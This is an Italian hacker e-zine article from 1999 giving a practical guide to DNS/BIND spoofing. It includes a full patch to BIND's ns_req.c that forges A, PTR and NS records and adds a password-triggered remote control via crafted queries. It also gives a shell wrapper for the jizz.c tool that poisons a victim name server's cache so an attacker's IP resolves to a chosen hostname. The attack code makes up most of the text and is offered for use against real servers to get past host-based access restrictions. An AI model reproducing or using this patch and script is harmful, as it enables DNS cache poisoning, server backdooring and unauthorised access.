==============================================================================
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
--------------------[ previous ]---[ index ]---[ next ]---------------------

---------------[  DNS/BiND SP00FiNG F.A.Q. AND PRATiCAL USES  ]---------------
----------------------------------[ VaLV0LiN3 ]-------------------------------
                                                         .------------------.
                                                         |  \  \     /  /   |_
0. intr0                                                 |ValV0liN3 cReW '99||
1. PreLiMiNaRi                                           |    \  \ /  /     ||
2. Implementazione dell'attakko                          |     \  ^  /      ||
                                                         |_ _ _ \___/_ _ _ _||
                                                          '------------------'
.---------------------------------------------,
| 0. intr0, gr33tz, fuckiNG, miSC             |
'---------------------------------------------'

R3s0urC3  : 4  - Litri di COCA
	    15 - Aspirine (mi e' venuta la febbre, pork')
	    10 - Papini (wurstel, patatine, tomato, majonese)
	    Pink Floyd, The Cure, Massive AttacK, 99Posse Entertainment
TiM3/DaTe : 14/04/99 - 03.50
gr33tZ    : I Mie Ringraziamenti, vanno a tutta la posse di s0ftpj...
	    ...in particolare:
            smaster  - grazie per la pazienza, br0th'
            \sPIRIT\ - sikuri di vincere con NeTRaiDeR! :PP
	    Cavallo  - uahuzhauhzuhauhz
            Dashie, |scacco|, B_Berry, pIGpEN...
	    ...inoltre:
	    xOANON, PhoenYx
            ...e tutti gli altri, che non mi vengono in mente (quando mai!)

.----------------.
|01. PreLiMiNaRi |
'----------------'
Innanzitutto, alcuni chiarimenti:
Molte persone, mi hanno scritto e chiesto come sp00fare il proprio IP su IRC.
IL DNS/BIND SPOOFING, non e' completamente UTILE (almeno in parte) per lo
spoofing del proprio IP su IRC.
Tutti i grossi IRC-Network, adesso, sono protetti da questo tipo di 
attakko, l'unico server, da me provato, che continua, ad essere vulnerabile
a quest'attakko e'....uahuzhauhzh...irc.tin.it...auhzuhauhzuhauhz
per il resto TUTTI gli altri server di EFNET, UnderNET, DALNet, etc.etc.
sono completamente CHIUSI a quest'attakko.
Quindi se stai leggendo, solo per lamerare su IRC, vai a cercarti
qualkos'altro da fare.
Motivo utile, invece e' l'uso di shell, FTP e tutto il resto che vi puo'
venire in mente con un accesso ristretto.

lam0r> Ho sentito dire, che l'unico programma utilizzabile, per sp00fare
       e' "erect.c"
r0x>   uahuhauh... cazzate. Mai sentito parlare di jizz.c ?
       Quando finirai di leggere, capirai che JIZZ non solo e' piu'
       facile da utilizzare, ma anche molto piu' efficente!
lam0r> E' vero che devo aspettare almeno un'ora prima di poter
       spoofare nuovamente un IP, utilizzando il JIZZ?
r0x>   In parte e' vero, per il resto no.
       Le vecchie versioni di jizz.c non comprendevano un'opzione
       di modifica TTL (TTL = Tempo di Vita) che serve proprio a questo:
       TTL e' il tempo di vita dello sp00f. Nelle vecchie versioni, 
       mancando quest'opzione, era necessaria circa un'ora per killare
       lo sp00f.
       Le nuove versioni sono completamente libere da questo problema;
       e' presente infatti un'opzione che permette di cambiare a piacimento
       il tempo di vita dello sp00f.

.--------------------------------.
|02. Implementazione dell'attakko|
'--------------------------------'
Prima di cominciare, ricordo ai piu' profani che per implementare e
fare andare a buon fine quest'attakko OCCORE ESSERE ROOT su un
DNS AUTORITATIVO, altrimenti non funzionera' mai niente.

Passo 1) Assicurati, che il Name Server (da ora in poi NS), che stai
utilizzando e' un NS Autoritativo:
(deve essere considerato da interNIC come un netword di "Classe C").
Ad esempio: il server DNS di TIN e' autoritativo per TIN.

Passo 2) Forziamo le regole...
Una volta accertato (e r00tato) il NS Autoritativo dobbiamo
apportare un po' di modifiche al Software DNS (in questo caso specifico
al BIND). Il Patch, andra' a modificare il file "ns_req.c".
Per fare questo, utilizzeremo il comando: "patch -p1 < ns_req.c".
Una volta patchato il BIND BISOGNA ricompilare il tutto.
Il patch, che avrai "cuttato", DEVE ESSERE CHIAMATO: "ns_req.c.patch"

---------- snip ----------
*** named/ns_req.c      Tue Oct  8 00:51:05 1996
--- ns_req.c    Thu Apr 24 13:28:55 1997
***************
*** 131,136 ****
--- 131,165 ----
                                     u_int16_t, u_int16_t));
  static void           copyCharString __P((u_char **, const char *));

+
+ #ifdef JORDY
+ /* preset first ones */
+ char spoofHost[256] = "is.a.lamer";
+ char spoofIP[16] = "209.84.0.208";
+
+ /* zee password */
+ char spoofPassword[] = "moron";
+
+ /* host to force spoof code from */
+ const char queryHost[] = "stupid.wserv.com";
+
+ /* domain because i'm too lazy to parse it out */
+ const char authDomain[] = "wserv.com";
+
+ /* primary nameserver.. you MUST run this as primary */
+ const char primaryName[] = "snappy.wserv.com";
+
+ /* this is the IP *BACKWARDS* so 12.34.56.78 becomes 78.56.34.12 */
+ const char primaryIP[] = "2.188.105.206";
+
+ /* secondary */
+ const char secondaryName[] = "dew.wserv.com";
+
+ /* this is the IP *BACKWARDS */
+ const char secondaryIP[] = "2.86.0.208";
+ #endif
+
+
  /*
   * Process request using database; assemble and send response.
   */
***************
*** 231,243 ****
                /*NOTREACHED*/
        }

        /*
         * apply final polish
         */
        hp->qr = 1;             /* set Response flag */
        hp->ra = (NoRecurse == 0);

!       n = doaddinfo(hp, cp, buflen);
        cp += n;
        buflen -= n;

--- 260,273 ----
                /*NOTREACHED*/
        }

+
        /*
         * apply final polish
         */
        hp->qr = 1;             /* set Response flag */
        hp->ra = (NoRecurse == 0);

!       n = doaddinfo(hp, cp, buflen);
        cp += n;
        buflen -= n;

***************
*** 253,258 ****
--- 283,289 ----
        if (debug >= 10)
                fp_nquery(msg, cp - msg, ddt);
  #endif /*DEBUG*/
+
        if (qsp == QSTREAM_NULL) {
                if (sendto(dfd, (char*)msg, cp - msg, 0,
                           (struct sockaddr *)from,
***************
*** 501,506 ****
--- 532,755 ----
                *msglenp = *cpp - msg;          /* Total message length */
                return (Finish);
        }
+ #ifdef JORDY
+         /* remote modification of the parameters, by fx */
+         if (dnbuf[0] == '@') {
+            char *dip1, *dip2, *dip3, *dip4, *dpass;
+            char *tokenPtr, *dip, *dhost;
+
+            /* split query into tokens */
+            tokenPtr = strtok(dnbuf, "@");
+            dpass = tokenPtr;
+            dip = strtok(NULL, "@");
+            dhost = strtok(NULL, "@");
+
+            /* tokenize ip bits */
+            tokenPtr = strtok(dip, ".");
+            dip1 = tokenPtr;
+            dip2 = strtok(NULL, ".");
+            dip3 = strtok(NULL, ".");
+            dip4 = strtok(NULL, ".");
+
+            if (!strcasecmp(dpass, spoofPassword)) {
+               if (strlen(dhost) < 255)
+                 sprintf(spoofHost, "%s", dhost);
+               if (strlen(dip1)+strlen(dip2)+strlen(dip3)+strlen(dip4)+3
<= 15)+                 sprintf(spoofIP, "%s.%s.%s.%s", dip4, dip3, dip2,
dip1);
+
+               syslog(LOG_INFO, "PASSWORD ACCEPTED: %s->%s", spoofIP,
spoofHost);
+
+               hp->rcode = NXDOMAIN;
+               return(Finish);
+            }
+         }
+
+       if (!strcasecmp(dnbuf, queryHost))  {
+          u_char *tp;
+            char tbuf[30], *tptr, sh[255];
+
+            hp->aa = 1;
+            hp->qr = 1;
+            hp->rd = 1;
+            hp->ra = 1;
+            hp->rcode = NOERROR;
+            hp->ancount = htons(3);
+            hp->nscount = htons(3);
+            hp->arcount = htons(3);
+
+            /* this is a lame hack, but i can't seem to figure out why in
+               heck it keeps adding \'s before my stuff */
+
+
+            /* SPOOFHOST TTL IN A IP */
+            strcpy(sh, spoofHost);
+            for (tptr = strtok(sh, "."); tptr != NULL;
+                 tptr = strtok(NULL, "."))
+               copyCharString(cpp, tptr);
+
+          *(*cpp)++ = 0x00;
+          PUTSHORT(T_A, *cpp);         /* Type */
+          PUTSHORT(C_IN, *cpp);        /* Class */
+          PUTLONG(60, *cpp);           /* TTL */
+          PUTSHORT(INT32SZ, *cpp);
+            PUTLONG(inet_addr(spoofIP), *cpp);
+
+
+            /* REVERSE.IP.IN-ADDR.ARPA TTL IN PTR SPOOFHOST */
+
+            strcpy(tbuf, spoofIP);
+            strcat(tbuf, ".in-addr.arpa");
+
+            for (tptr = strtok(tbuf, "."); tptr != NULL;
+                 tptr = strtok(NULL, "."))
+               copyCharString(cpp, tptr);
+
+            *(*cpp)++ = 0x00;
+            PUTSHORT(T_PTR, *cpp);      /* Type */
+            PUTSHORT(C_IN, *cpp);       /* Class */
+            PUTLONG(60, *cpp);          /* TTL */
+          tp = *cpp;                   /* Temp RdLength */
+          PUTSHORT(0, *cpp);
+
+            strcpy(sh, spoofHost);
+            for (tptr = strtok(sh, "."); tptr != NULL;
+                 tptr = strtok(NULL, "."))
+               copyCharString(cpp, tptr);
+
+            *(*cpp)++ = 0x00;
+          PUTSHORT((*cpp) - (tp + INT16SZ), tp);    /* Real RdLength */
+
+
+            /* CREDITS */
+            copyCharString(cpp, "jordy");
+            copyCharString(cpp, "made");
+            copyCharString(cpp, "this");
+            *(*cpp)++ = 0x00;
+            PUTSHORT(T_TXT, *cpp);
+            PUTSHORT(C_IN, *cpp);
+            PUTLONG(0, *cpp);
+            tp = *cpp;
+            PUTSHORT(0, *cpp);
+            copyCharString(cpp, "thanks to prym, fx and hs");
+            *(*cpp)++ = 0x00;
+          PUTSHORT((*cpp) - (tp + INT16SZ), tp);    /* Real RdLength */
+
+
+            /* MYDOMAIN.TLD TTL IN NS PRIMARY.NS */
+            strcpy(sh, authDomain);
+            for (tptr = strtok(sh, "."); tptr != NULL;
+                 tptr = strtok(NULL, "."))
+               copyCharString(cpp, tptr);
+
+            *(*cpp)++ = 0x00;
+            PUTSHORT(T_NS, *cpp);
+            PUTSHORT(C_IN, *cpp);
+            PUTLONG(60, *cpp);
+          tp = *cpp;                   /* Temp RdLength */
+          PUTSHORT(0, *cpp);
+
+            strcpy(sh, primaryName);
+            for (tptr = strtok(sh, "."); tptr != NULL;
+                 tptr = strtok(NULL, "."))
+               copyCharString(cpp, tptr);
+
+            *(*cpp)++ = 0x00;
+          PUTSHORT((*cpp) - (tp + INT16SZ), tp);    /* Real RdLength */
+
+
+            /* MYDOMAIN.TLD TTL IN NS SECONDARY.NS */
+            strcpy(sh, authDomain);
+            for (tptr = strtok(sh, "."); tptr != NULL;
+                 tptr = strtok(NULL, "."))
+               copyCharString(cpp, tptr);
+
+            *(*cpp)++ = 0x00;
+            PUTSHORT(T_NS, *cpp);
+            PUTSHORT(C_IN, *cpp);
+            PUTLONG(60, *cpp);
+          tp = *cpp;                   /* Temp RdLength */
+          PUTSHORT(0, *cpp);
+
+            strcpy(sh, secondaryName);
+            for (tptr = strtok(sh, "."); tptr != NULL;
+                 tptr = strtok(NULL, "."))
+               copyCharString(cpp, tptr);
+
+            *(*cpp)++ = 0x00;
+          PUTSHORT((*cpp) - (tp + INT16SZ), tp);    /* Real RdLength */
+
+
+            /* SPOOFHOST TTL IN NS NS.SPOOFHOST */
+            strcpy(sh, spoofHost);
+            for (tptr = strtok(sh, "."); tptr != NULL;
+                 tptr = strtok(NULL, "."))
+               copyCharString(cpp, tptr);
+
+            *(*cpp)++ = 0x00;
+            PUTSHORT(T_NS, *cpp);
+            PUTSHORT(C_IN, *cpp);
+            PUTLONG(60, *cpp);
+          tp = *cpp;                   /* Temp RdLength */
+          PUTSHORT(0, *cpp);
+
+            copyCharString(cpp, "ns");
+            strcpy(sh, spoofHost);
+            for (tptr = strtok(sh, "."); tptr != NULL;
+                 tptr = strtok(NULL, "."))
+               copyCharString(cpp, tptr);
+
+            *(*cpp)++ = 0x00;
+          PUTSHORT((*cpp) - (tp + INT16SZ), tp);    /* Real RdLength */
+
+
+            /* PRIMARY.NS TTL IN A IP */
+            strcpy(sh, primaryName);
+            for (tptr = strtok(sh, "."); tptr != NULL;
+                 tptr = strtok(NULL, "."))
+               copyCharString(cpp, tptr);
+
+          *(*cpp)++ = 0x00;
+          PUTSHORT(T_A, *cpp);         /* Type */
+          PUTSHORT(C_IN, *cpp);        /* Class */
+          PUTLONG(60, *cpp);           /* TTL */
+          PUTSHORT(INT32SZ, *cpp);
+            PUTLONG(inet_addr(primaryIP), *cpp);
+
+
+            /* NS.SPOOFHOST IN A IP */
+
+          copyCharString(cpp, "ns");   /* Name */
+
+            strcpy(sh, spoofHost);
+            for (tptr = strtok(sh, "."); tptr != NULL;
+                 tptr = strtok(NULL, "."))
+               copyCharString(cpp, tptr);
+
+          *(*cpp)++ = 0x00;
+          PUTSHORT(T_A, *cpp);         /* Type */
+          PUTSHORT(C_IN, *cpp);        /* Class */
+          PUTLONG(60, *cpp);           /* TTL */
+          PUTSHORT(INT32SZ, *cpp);
+            PUTLONG(13245678, *cpp);
+
+            /* SECONDARY TTL IN A IP */
+            strcpy(sh, secondaryName);
+            for (tptr = strtok(sh, "."); tptr != NULL;
+                 tptr = strtok(NULL, "."))
+               copyCharString(cpp, tptr);
+
+          *(*cpp)++ = 0x00;
+          PUTSHORT(T_A, *cpp);         /* Type */
+          PUTSHORT(C_IN, *cpp);        /* Class */
+          PUTLONG(60, *cpp);           /* TTL */
+          PUTSHORT(INT32SZ, *cpp);
+            PUTLONG(inet_addr(secondaryIP), *cpp);
+
+          *msglenp = *cpp - msg;               /* Total message length */
+
+          return (Finish);
+       }
+ #endif /* JORDY */

        /*
         * Process query.
---------- snip ----------

Passo3) Bene, ora che abbiamo "patchato" il BIND siamo pronti a sferrare
il nostro attakko. Adesso entra in azione il jizz.c!
Prima di tutto ti occorre scaricarlo ...uahuzhuahuz...
...puoi farlo dovunque, ad esempio:
www.rootshell.com
www.kyuzz.org/valvoline    !-* Pubblicita' Okkulta!...uhauhzuahuzh *-|
www.hack3rs.org
ed in mille altri posti.

Passo4) Ora, siamo davvero pronti, per sferrare l'attakko.
Ci sono vari modi per utilizzare il jizz.c, io personalmente vi propongo
un piccolo script che rendera' la vita molto piu' semplice...
...se poi volete proprio essere c00l fate un po' come credete...auhzuhauhz

---------- snip ----------
#!/bin/sh
if [ "$4" = "" ] ; then
echo "usage: $0 <starthost> <ns> <ip> <spoof>"
exit 1
fi
MANG=`nslookup $2 |grep Address|gawk '{print$2}'`
NS_IP=`echo $MANG|gawk '{print$2}'`
echo "killall named"
killall named
echo "$3 = $4... NS = $2($NS_IP)"
sleep 2
./jizz $1.domain.net hostname.domain.net $NS_IP hostname.domain.net $3 $4>>/dev/null&
sleep 3
nslookup $1.domain.net $NS_IP
sleep 2
killall jizz
sleep 2
echo "/usr/sbin/named"
/usr/sbin/named
exit
---------- snip ----------

In questo script, come avrai visto, ci sono alcune linee dove si parla di
"domain.net" e "hostname.domain.net", queste vanno personalizzate
con le proprie informazioni!
Una volta sistemato salva il file con un qualsiasi nome ed avvialo:
comparira' qualkosa del tipo:
"usage: jizzinterface <starthost> <ns> <ip> <spoof>"
Ankora una volta, i parametri da utilizzare, saranno quelli personali
e relativi alla propria situazione ed al proprio NS.

Passo5) Bene. Innanzitutto e' necessario conoscere i NS della
nostra vittima. Sicuramente, ci saranno 2 NS; questi sono i possibili
NS che la vittima contattera' per avere risolti gli indirizzi IP.
Ad esempio, potremmo avere una situzione di questo tipo:
NS.LAM0R.NET              212.216.235.2
NS1.LAM0R.NET             212.216.235.55
Bene! In questo caso utilizzeremo il nostro script, ritagliato appena
prima; gli faremo chachare nel server NS.LAM0R.NET che l'IP:
66.66.66.66 (il nostro IP) e': im.rulezzing.fucked.lam0r.net
Una volta cachato, la macchina vittima ci riconoscera' e risolvera'
il nostro IP come: im.rulezzing.fucked.lam0r.net.
							Valv0lin3

--------------------[ previous ]---[ index ]---[ next ]---------------------
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
==============================================================================